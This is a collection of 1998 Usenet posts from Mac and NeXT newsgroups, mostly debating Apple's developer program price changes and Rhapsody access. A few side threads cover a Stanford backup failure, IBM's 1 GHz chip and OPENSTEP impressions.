References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr>
In article <352c857a.2678525846@news.u-psud.fr>, pointal@lure.u-psud.fr wrote:
: On 8 Apr 1998 19:24:55 GMT, gcheng@uni.uiuc.edu (Guanyao Cheng) wrote:
:
: >: Although I disapprove of the move by Apple, I really question why a
: >: HS/college student would have to join the developer programs to write
: >: software. After all, they could just download MPW or buy CodeWarrior at a
: >: huge discount, and learn from the vast amount of online resources at
: >: devworld.apple.com.
:
: Do you know the bandwitdh of US servers out of the US? Do you know the
: cost of communications out of the US?
:
: For a student working at home, CDs are far better with his <1 to 5
: kb/sec IP connection to US (at ~ $1/hour com cost + fixed provider
: cost).
:
You can buy the CD's for $199, $50 less than it cost previously...
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
don_arb@wolfenet.com <-- remove underscore to reply
http://www.edo-inc.com
From: don_arb@wolfenet.com (Don Arbow)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 12:04:14 -0700
Organization: EveryDay Objects, Inc.
Message-ID: <don_arb-0904981204140001@sea-ts1-p14.wolfenet.com>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <j-jahnke-0804982141280001@192.168.1.3> <6ghg9f$o3$1@news.digifix.com> <j-jahnke-0904980214320001@192.168.1.3>
In article <j-jahnke-0904980214320001@192.168.1.3>, j-jahnke@uchicago.edu
(Jerome Jahnke) wrote:
: In article <6ghg9f$o3$1@news.digifix.com>, sanguish@digifix.com (Scott
: Anguish) wrote:
:
: > On 04/08/98, Jerome Jahnke wrote:
: > <snip>
: > >Now this is a bunch of bull. Many of us were Associates for one
: > >reason and one reason only, access to cheaper equipment. Apple
: > >does not lose money by selling me my one machine a year at a low
: > >price.
: >
: > Perhaps. But they do still provide you with all the other
: > stuff, the CD's, the mailings etc.. that does cost Apple money.
:
: It don't cost 500 bucks...
:
: Jer,
Nope, it's $199 for the CD's now...
Don
--
Don Arbow, Partner, CTO
EveryDay Objects, Inc.
don_arb@wolfenet.com <-- remove underscore to reply
http://www.edo-inc.com
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.powerpc.tech,comp.sys.next.advocacy
Subject: Re: PowerPC with 100 MHz bus
Date: 9 Apr 1998 19:53:32 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6gj8vs$8vv@newsb.netnews.att.com>
References: <6fbvpe$l63@newsb.netnews.att.com> <35290A7D.41C67EA6@ctron.com> <6gh5mo$eku$1@flea.best.net> <352CD708.3359@together.net>
Originator: gupta@tlctest
Eric M Scott <escott@together.net> wrote:
>
>http://techweb.cmp.com/eet/news/98/1002news/taxes.html
>
>The 1GHz did not use copper. It used the normal .25 micron
>process. It was a design done specifically for this, and
>I believe it is an integer only processor. I'm sure that
>if you asked the guys who worked on it they wouldn't say it
>was "easy." The articles I've read indicate it was quite
>a challenge.
Thanks for the URL ! It leads to another one :
http://techweb.cmp.com/eet/news/98/992news/ibm.html
from which the following I found intriguing :
"A key advance in the cache design - for which IBM has filed
23 patent applications -- was to reduce to a single clock
the load-and-store operation, which normally takes two clock
cycles. At 1 GHz, a load-and-store operation takes only 1 nanosecond,
with a cache latency of 500 picoseconds. The design of the cache
puts more of the control logic in the cache itself, including
the cache adder and decode functions."
etc.
Question : can these design improvements be incorporated into
PowerPCs shipping in the near future, rather than wait for the
GHz processor ? How much speed-up does the one-clock load-and-store
promise ?
-arun gupta
From: embuck@palmer.cca.rockwell.com (Erik M. Buck)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 9 Apr 1998 19:12:09 GMT
Organization: Rockwell International
Message-ID: <6gj6i9$b1n2@onews.collins.rockwell.com>
References: <6ge378$11s04@odie.mcleod.net> <B15090B4-2681F@206.165.43.122>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
Regarding the Non-PS way of finding glyph bounding boxes and rendering the
shape of a glyph along a path see the following:
NSFont:
- (int)positionsForCompositeSequence:(NSGlyph *)glyphs
numberOfGlyphs:(int)numGlyphs
pointArray:(NSPoint *)points
- (NSRect)boundingRectForGlyph:(NSGlyph)aGlyph
- (NSSize)advancementForGlyph:(NSGlyph)aGlyph
and the other glyph methods
NSBezierPath:
- (void)appendBezierPathWithGlyph:(NSGlyph)aGlyph inFont:(NSFont *)fontObj
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 13:10:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B1527A55-4B993@206.165.43.139>
References: <6gj0or$oop$12@ironhorse.plsys.co.uk>
nntp://news.primenet.com/comp.sys.mac.oop.powerplant,
nntp://news.primenet.com/comp.sys.mac.programmer.codewarrior,
nntp://news.primenet.com/comp.sys.next.advocacy,
nntp://news.primenet.com/comp.sys.next.programmer
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
mmalcolm crawford <malcolm@plsys.co.uk> said:
> By offering a hardware discount of course Apple was subsidising
> developers --
> that's what the discount was for.
As long as the developers at least pay Apple what it costs Apple to make
and ship the hardware, they are NOT subsidizing developers.
They are offering enticements/inducements/whatevers, but they are NOT
subsidizing developers.
Now, they ARE subsidizing developers on the software-tools side, by not
charging the full development costs for developing the SDKs and technical
materials, but if they were to do that, we would be back in the bad ole
days of Spindler, where an ETO subscription was many hundreds/year and you
had to pay $1500 up front to get the complete package of MPW
C/Pascal/C++/MacApp/etc.
Now they've raised the bar to ensure in
> part that the system isn't abused. For the sorts of commercial
> applications
> that I suspect you're referring to, on which the platform depends, if the
> business seriously needs access to seed software but cannot afford a $500
> a
> year, it does not have a competent business plan.
You may be correct about raising the bar to see that the hardware discount
system isn't abused. However, if they raise the bar sufficiently, then
there is no longer a discount on the hardware in the first place, is there?
---------------------------------------------------------------------
"OpenDoc may be impressive technology, but if no-one else is using it, why
should Apple?" --Steve Jobs
"In short: if you want to blow people away with what can be done *only* on
a Mac, show them Cyberdog." --Tom Keyes
<news://cyberdog.apple.com/cyberdog.general/19411>
---------------------------------------------------------------------
From: geordie@chapman.com (Geordie Korper)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Thu, 09 Apr 1998 15:11:16 -0500
Organization: Chapman and Cutler
Message-ID: <geordie-0904981511160001@130.130.117.53>
References: <199801202218001457904@ppp8.hol.fr> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g923i$h2l$1@nnrp1.dejanews.com>
Mail-Copies-To: never
r9;SSdvI;]1VVf
In article <6g923i$h2l$1@nnrp1.dejanews.com>, spagiola@usa.net wrote:
:And it is
:well-known that imposing constraints on something never makes something
:better.
This has been bugging me for a few days. Placing constraints on something
is often exactly what produces quality products. That is why Mac and NeXT
applications are so supperior to their Windows competiton. There is a set
of constraints that prevent you from making a scroll bar that moves
horizontally when you drag it vertically. It is called the Human Interface
Guidelines in the mac case and Interface Builder in the other (different
levels of abstraction obviously). Without constraints you end up with
things like X windows.
In the case of Rhapsody if there truly is a better way of doing something
and it is not completely the opposite of an existing method it will
probably be used, because if it really is superior then it will likely
seem more intutive to the Mac crowd than the existing way. The previous
sentence is a good example. If I had used a few more grammatical
constraints it could have been more easily parsed.
My personal view is that all art comes from picking a set of constraints
and then exploring the ramifications and subtleties of that paradigm. That
is why in some cases very primitive tools can be used to create
masterpieces. It may also be why some artists have not be able to produce
as well after they achieve success.
Geordie Korper geordie@chapman.com
*********************************************************************
* The text above should in no way be construed to represent the *
* opinions of my employer, even if specifically stated to do so. *
*********************************************************************
From: "Edwin E. Thorne" <edwin.thorne@rauland.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: 9 Apr 1998 20:32:44 GMT
Organization: WorldWide Access - Midwestern Internet Services - www.wwa.com
Message-ID: <01bd63f6$a5dbec00$c07498cf@edwint.rauland.com>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>
Rex Riley <rriley@yahoo.com> wrote in article
<6gipq1$9g2$1@ha2.rdc1.sdca.home.com>...
> http://www.mercurynews.com/business/center/stanford09.htm
>
> Stanford.edu is the new PosterChild for Apple today in the wake of a
> disaster which cost Windows users dearly. Mac users and Unix mainframes
> emerged unscathed from a network "upgrade" which went arwy. Lost in the
> maintenance were Phd. dissertations, databases, files and research notes
> covering _years_ of work. Stanford Univ. School of Business,
Windows-based
> curriculum, has "tarnished" the institution's reputation and "erased"
> years of academic work. The disaster affects 10 - 15 faculty and
doctoral
> candidates directly posing a "serious blemish" for the School of
Business.
>
I am an avid Macintosh fan, but I must "call a foul" on this one. This is
not an example of the Macintosh or Unix being better than Windows, this is
an example of incompetent technicians, and poor work habits by the students
and faculty.
The loss did not occur simply because they were using Windows. It
happened because the people installing the servers failed to do a back-up,
and because those who lost work failed to do personal back-ups. If my
degree was riding on those files, I'd have personal copies of everything.
Let's apply a little honesty here. The same thing would have happened to
either the Mac or Unix users if their servers were not backed up.
This is a blemish for the school, no doubt, but not for Windows. Trying
to paint it as Window's fault leaves us open to being called FUDsters, with
just cause.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 16:31:11 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981631110001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <joe.ragosta-0804980858150001@wil77.dol.net> <mazulauf-0804981503390001@sneezy.met.utah.edu> <joe.ragosta-0804981906460001@elk68.dol.net> <MPG.f95d7e4b8fb1622989890@news.supernews.com> <joe.ragosta-0804982109560001@elk62.dol.net> <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net>
In article <joe.ragosta-0804982250580001@wil62.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> As I see it (and these comments reinforce it), Donald is very much acting
> in the Lawson mold--Apple is guilty until proven innocent. He's measuring
> everything by _HIS_ standards and finds Apple at fault every time they
> don't meet his expectations.
I don't see any developers defending Apple's decisions. The best
"support" I've seen is some Mac news sites parroting Apple's press
release.
It's quite obvious that Apple developers now pay more but receive less.
And certainly having your contract altered would be upsetting. For
example, suppose Apple promised long-term tech support on the machine you
bought, then decided to truncate it to 90 days, after they had already
promised longer support to you? Hmmm, Apple has already done *that* too.
Apple is pissing developers off to save a few bucks. Bad idea.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 9 Apr 1998 20:56:19 GMT
Message-ID: <01bc462c$1ca03ce0$40f0bfa8@davidsul>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <6ggs48$oop$2@ironhorse.plsys.co.uk> <6ghf6g$e1u$1@geraldo.cc.utexas.edu> <6giu6s$6j$5@anvil.BLaCKSMITH.com> <ericb-0904981644570001@132.236.171.104>
Eric Bennett <ericb@pobox.com> wrote in article
<ericb-0904981644570001@132.236.171.104>...
> In article <6giu6s$6j$5@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com
wrote:
>
> > Apparently, Apple is planning on providing on providing a very low cost
> > academic program to similiarly encourage that crowd....
>
> WHEN???
>
> Rhapsody DR1 was released last September. That was seven months ago!
How
> long does it take to decide how much you're going to charge .edu users?
>
> I've only heard rumors about low-cost Rhapsody licensing, not official
> commitments from Apple. I am not at all optimistic.
I contacted Apple enterprise's educational department, and they said
rhapsody wont be offered educationally till at least late summer, and
probably not till fall.
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 20:57:47 GMT
Message-ID: <01bc462c$50a61be0$40f0bfa8@davidsul>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <352D35D6.E368D52C@am.not.here>
Alias <i@am.not.here> wrote in article <352D35D6.E368D52C@am.not.here>...
> My two bits...
>
> It seems that all the hub-bub is w.r.t. shareware and freeware
developers.
> Now, I could be wrong, but it seems to me that what Apple is saying
is...If you
> want to develop commercial software, choose either our select or premier
> programs. Otherwise, use an educational institution to gain access to
our
> products.
And how do you do this if you arent in a educational institution?
You assume one would be but this is not
a valid assumption
From: edremy@chem1.usc.edu (Eric Remy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac+Unix .vs. Windows-based PC's:: Stanford Univ.
Date: Thu, 09 Apr 1998 14:01:54 -0700
Organization: USC Chemistry
Message-ID: <edremy-ya02408000R0904981401540001@nnrp.usc.edu>
References: <6gipq1$9g2$1@ha2.rdc1.sdca.home.com> <6gj2ad$ap4$1@jaka.ece.uiuc.edu> <6gj85u$e04$1@ha2.rdc1.sdca.home.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In article <6gj85u$e04$1@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com wrote:
> In <6gj2ad$ap4$1@jaka.ece.uiuc.edu> Steve Peltz wrote:
> > In article <6gipq1$9g2$1@ha2.rdc1.sdca.home.com>,
> > Rex Riley <rr6013@yahoo.com> wrote:
> > >http://www.mercurynews.com/business/center/stanford09.htm
> >
> > "technicians had not verified that the files were 'backed up' ..."
> >
> > They apparently do full dumps once a week, and daily incremental dumps.
> If
> > they lost "months" and "years" worth of work, that would mean that
> > none of the full dumps (I would hope they'd rotate at least 3 sets)
> > were complete. This shows how important it is to verify that your backup
> > procedures are actually writing out the data you think is there; doing a
> > full restore to another drive and verifying that everything is there that
> > you think should be backed up would be one way of doing this.
> >
>
> Yeah, sucks doesn't it that if you are a Windows user you have to go
> through all that extra backup procedure. For hapless Stanford BSchool
> users, its enough to hate Windows.
How is this extra work? If you make backups, you check the data. Period.
Doesn't matter if it's Windows, NT, Unix, Mac, VMS, AppleII, whatever. The
most wonderful OS in the world can't stop hardware failures that result in
tapes that seem fine, but aren't really. This is a very clear case of
idiot sysadmins. Windows may have been at fault as well for having poor
backup programs. (Interestingly, the article never says what the new
servers were running- I assume NT, but it's not clear.)
Having gone to Stanford for grad school, the network folks there seemed
decent. (I wasn't in the business school, though.) However, I kept personal
backups of my thesis. Many of them. Ditto the programs I wrote. I kept a
backup copy at home, in case the building was destroyed by fire. (Happens
in chemistry departments.)
The systems? The programs were on a Unix machine, the thesis on a Mac.
Paranoia is your friend.
--
Eric R. edremy@chem1.usc.edu
Director of Instructional Computing, USC Chemistry
"See, I told you they'd listen to Reason"- Fisheye, _Snow Crash_
If you think I speak for USC, see your doctor now.
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 17:01:44 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981701440001@132.236.171.104>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154>
In article <B1511189-1AF6A@206.165.43.154>, "Lawson English"
<english@primenet.com> wrote:
> There's one very, VERY important piece of software that wouldn't exist if
> shareware wasn't easy to do on the Mac:
>
> Stuffit.
>
> Raymond Lau put himself through MIT by writing Stuffit when he was 16 and
> Alladin Software is a pretty important software house in the Macintosh
> community..
>
> Where's the next Stuffit or Alladin Software for MacOS going to come from
> if there aren't going to be any more Raymond Lau's?
There are lots of good examples like this.
What free image viewer do legions of Mac users depend on? JPEGView. Who
wrote it, where? Aaron Giles, while he was at Cornell University Medical
School. He went on to help port Dark Forces to the Mac.
What free list server can you get for the Mac? Macjordomo. Who wrote it,
where? Michele Fuortes, also from Cornell University Medical School.
Have any of you Mac users out there ever heard of a fellow by the name of
Peter Lewis? He started writing Mac apps in his spare time while he was
still employed at a university (do I sense a pattern here?).
Quid Pro Quo also started out as a freeware app. Now it's commercial
(though a free "lite" version is still available) and seems to compete
pretty well with WebSTAR on a feature-by-feature level and price level (it
doesn't get the publicity WebSTAR gets, though).
Plenty of commercial or shareware apps had humble freeware beginnings.
Other good software has always been freeware. Why charge these people
$500 to get their hands on the latest system software? Do you want them
all to tell users, "Sorry, my program doesn't work with OS 8.2, because
Apple prices the developer versions out of my price range. I can't afford
to test my freeware with 8.2 until *after* it comes out, and then start
working on any necessary fixes."
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 17:05:11 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981705120001@132.236.171.104>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggrql$oop$1@ironhorse.plsys.co.uk>
In article <6ggrql$oop$1@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> Apple has said that the acedemic program is to be announced later -- I'd
> expect it to be cheaper.
Where have they explicitly stated this? Do you have a URL? All I have
seen are rumors from "highly placed sources." And those rumors have been
around for quite awhile without having come true.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 17:07:16 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981707160001@132.236.171.104>
References: <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <B1511189-1AF6A@206.165.43.154> <6ggiu7$auu$1@vixen.cso.uiuc.edu> <352c857a.2678525846@news.u-psud.fr> <joe.ragosta-0904980645050001@elk33.dol.net>
In article <joe.ragosta-0904980645050001@elk33.dol.net>,
joe.ragosta@dol.net (Joe Ragosta) wrote:
> That is probably true. But wouldn't most students have access to their
> college's facilities where they can download what they need by T1 and put
> it onto a zip drive or burn a CD to take home?
I can't download Rhapsody. Not getting Rhapsody is what really burns me.
I am enthusiastic about it and I want to start learning to program on it.
MacOS 8.2 is not such a big deal, since it's not really all that different
from a basic programming perspective that the copy of MacOS 8.1 I'm
running now. Not so with Rhapsody.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.programmer
Subject: first day with OS
Date: 9 Apr 1998 21:06:29 GMT
Message-ID: <01bc462d$87ca8380$40f0bfa8@davidsul>
Some impressions of OS 4.2
1) This OS sure was designed for big monitors! I have a 17 inch and it
seems to small. Seems like you would want at least a 20 inch monitor
2) The mouse really annoys me. It reminds me of when I first used windows
3.1, I was like god I hate how jerky the mousee is. The mouse movement in
OS 4.2 seems like how it was in windows 3.1, windows 95 definitely seems
much better.
3) How do you connect to the internet with ppp?
4) once I get up and going with ppp, what do I use for usenet?
5) where is the option to change the monitors resolution and bits of color?
From: slick@tools.ecn.purdue.edu (Brian S Slick)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 21:01:27 GMT
Organization: Purdue University, W. Lafayette, IN
Message-ID: <6gjcv7$nrb@mozo.cc.purdue.edu>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <1d7821x.1rdi5101enh5fhN@hobbit1.injep.fr> <6girj3$6j$2@anvil.BLaCKSMITH.com> <ericb-0904981649370001@132.236.171.104>
In article <ericb-0904981649370001@132.236.171.104>,
Eric Bennett <ericb@pobox.com> wrote:
>In article <6girj3$6j$2@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
>
>> Let me put it to you this way: the increase in costs represents roughly a
>> day's pay (before taxes, anyway :-) for the average programmer. BFD.
>
>The new cost is two weeks' pay (after withholding :-) out of my stipend. :-(
Consider it an investment.
--
-Brian Slick
slick@ecn.purdue.edu
Winner: 1998 SDRC Calendar Contest
http://www.sdrc.com/partners/university/contest/1998/
From: xray@cs.brandeis.edu (Nathan G. Raymond)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: 9 Apr 1998 21:11:12 GMT
Organization: Brandeis University - Computer Science Dept.
Message-ID: <6gjdhg$idr$1@new-news.cc.brandeis.edu>
References: <MPG.f960500e190219d989895@news.supernews.com> <joe.ragosta-0804982250580001@wil62.dol.net> <MPG.f96ab2832ee6e1a9896d8@news.itg.ti.com>
In article <MPG.f96ab2832ee6e1a9896d8@news.itg.ti.com> jmcn@msg.ti.com (Jason McNorton) writes:
>In article Joe Ragosta, joe.ragosta@dol.net says...
>*snip*
>> I apologized to Donald in e-mail for the strength of my comments.
>>
>> But I don't see anything here that changes the essence.
>
>Face it Joe, Apple has burned lots of people and they resent Apple for
>it. And they are right. Not everyone can be as blindly fanatical as you
>are. I'm starting to see that maybe you don't really have much reliance
>or much invested in Apple. If you did, you wouldn't support them so
>freely. People who do rely on Apple get the shaft, a lot.
>
>--
>A world without the Mac is a step closer to utopia.
Apple's biggest mistakes have been to imply or say they are going to
deliver advances that would equal or exceed the relative magnitude of past
advances, and then not followed through. Apple's greatness has also been
its greatest downfall, in that sense. Can't say I blame people for
trusting, can't say I blame Apple, but what I can offer is this: take
everything with a very healthy dose of skepticism and never put all your
eggs in one basket. Diversification is key, recognition that there are no
absolutes is key.
And I suggest you keep your .sig, as it will alert people immediately to
your shortcomings, notable your lack of foresight (ideal perfection of
utopia, i.e. the lack of any yin to yang, would mean that goodness would
exist in essentially a vacuum, and with no counter-experience existance
itself would be reduced to a very bland ennui) and your inability to
recognize that the diversification of the application of technology
in the masses has seen the convergence of dispirate implimentations (which
could be symbolized as seperate overlapping roads or intersecting but
seperate vectors to largely aligned vectors, or a single multi-lane road,
where the velocity component of the vector or the speed and thus load
carrying capacity of a lane would correspond to that technology path's
magnitude penetration or installed base), and thus an overall decrease in
the exploration of the state space of technology implimentations has
occured within the industry, decreasing the possibility of any real
substantial increase in productivity gains for end-users due to
convergence, and any loss of diversification at this point will further
ensure that significant real-world advances, not just incremental
reiterations, occurs. Thus to decry the existance of any facet of the
tech sector, rather than encourage interoperable yet diverse directions,
is heretical to the very system I suppose you subscribe to.
--
Nathan Raymond
--
Nathan Raymond
xray@cs.brandeis.edu
raymond@binah.cc.brandeis.edu
http://www.cs.brandeis.edu/~xray
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 17:10:01 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981710010001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com>
In article <6ggmk2$jdl$1@news.digifix.com>, sanguish@digifix.com (Scott
Anguish) wrote:
> The Online program is free. It gets you the samples, and the
> manuals.
I love the spin on calling this a new program, since all this stuff was
available before.
> Now, as far as Rhapsody is concerned it is leaving a gap, but
> only because of the time-frame.... However if you join Select you're
> still covered.
This is a gap Apple should not be leaving. Presumably they are interested
in getting more developers for their new OS, but it doesn't show...
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 17:12:50 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981712500001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <ericb-0704981749520001@132.236.171.104> <trumbull-0704981900290001@net44-223.student.yale.edu> <j-jahnke-0704982342480001@192.168.1.3> <352b5da2.0@206.25.228.5> <6gg8il$6v9$1@ha2.rdc1.sdca.home.com> <gmgraves-0804981131450001@sf-pm5-10-74.dialup.slip.net> <6ggmk2$jdl$1@news.digifix.com> <6ggqha$9fk$1@news01.deltanet.com> <6ghg4o$np$1@news.digifix.com>
> >There will always be a gap. Apple is incapable of shipping something
> >with decent prerelease documentation in the New Regime, I suspect.
> >HFS+ might be a counterargument, but if there is no way to get a
> >Rhapsody seed without a substantial cash outlay, then you have
> >delayed the release of software using Rhapsody features until your
> >public ship date.
I can make another argument around HFS+, though: AFAIK the docs for HFS+
are still not available online, even though MacOS 8.1 has been out for
awhile. The only people who have received the docs are developers who are
seeded. Thankfully somebody from Apple sent me the information I needed
for the program I was writing.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Date: Thu, 09 Apr 1998 17:17:41 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-0904981717420001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <1d767ho.1tixfqy1dqgm03N@hobbit1.injep.fr> <6gg6af$fit$1@anvil.BLaCKSMITH.com> <6ggabn$rts$2@news01.deltanet.com> <6ggj21$fit$6@anvil.BLaCKSMITH.com>
In article <6ggj21$fit$6@anvil.BLaCKSMITH.com>, cswiger@BLaCKSMITH.com wrote:
> However, Apple does not want to spend the time (== money) and resources
to provide
> extensive support for DR1 to individual people who just want to play around.
They don't have to provide support. I get all the support I need from
Usenet, mailing lists, and the documentation. I've had plenty of
Macintosh programming questions, and have never directed any of them
specifically at Apple (although I have had Apple employees respond to help
requests in Internet forums).
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
Date: Thu, 09 Apr 1998 15:31:59 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy,comp.sys.next.programmer
Subject: Re: Apple developer program
Message-ID: <joe.ragosta-0904981531590001@wil38.dol.net>
References: <352b5da2.0@206.25.228.5> <B1511019-15903@206.165.43.154> <steve-0804981442590001@oranoco.discoverysoft.com> <rmcassid-0804981509160001@dante.eng.uci.edu> <6gj5ps$3qf$1@news01.deltanet.com>
In article <6gj5ps$3qf$1@news01.deltanet.com>, scott@eviews.com (Scott
Ellsworth) wrote:
> In article <B1511019-15903@206.165.43.154>, "Lawson English"
> <english@primenet.com> wrote:
>
> >Trying to make developer *support* a profit center is an INSANE idea.
> >Hopefully, either Jobs will change this, or the more rational stockholders
> >will hear about it in time to vote against him because this one action, *BY
> >ITSELF*, will destroy Apple.
Just like the last 20 rants that you went on were going to destroy Apple.
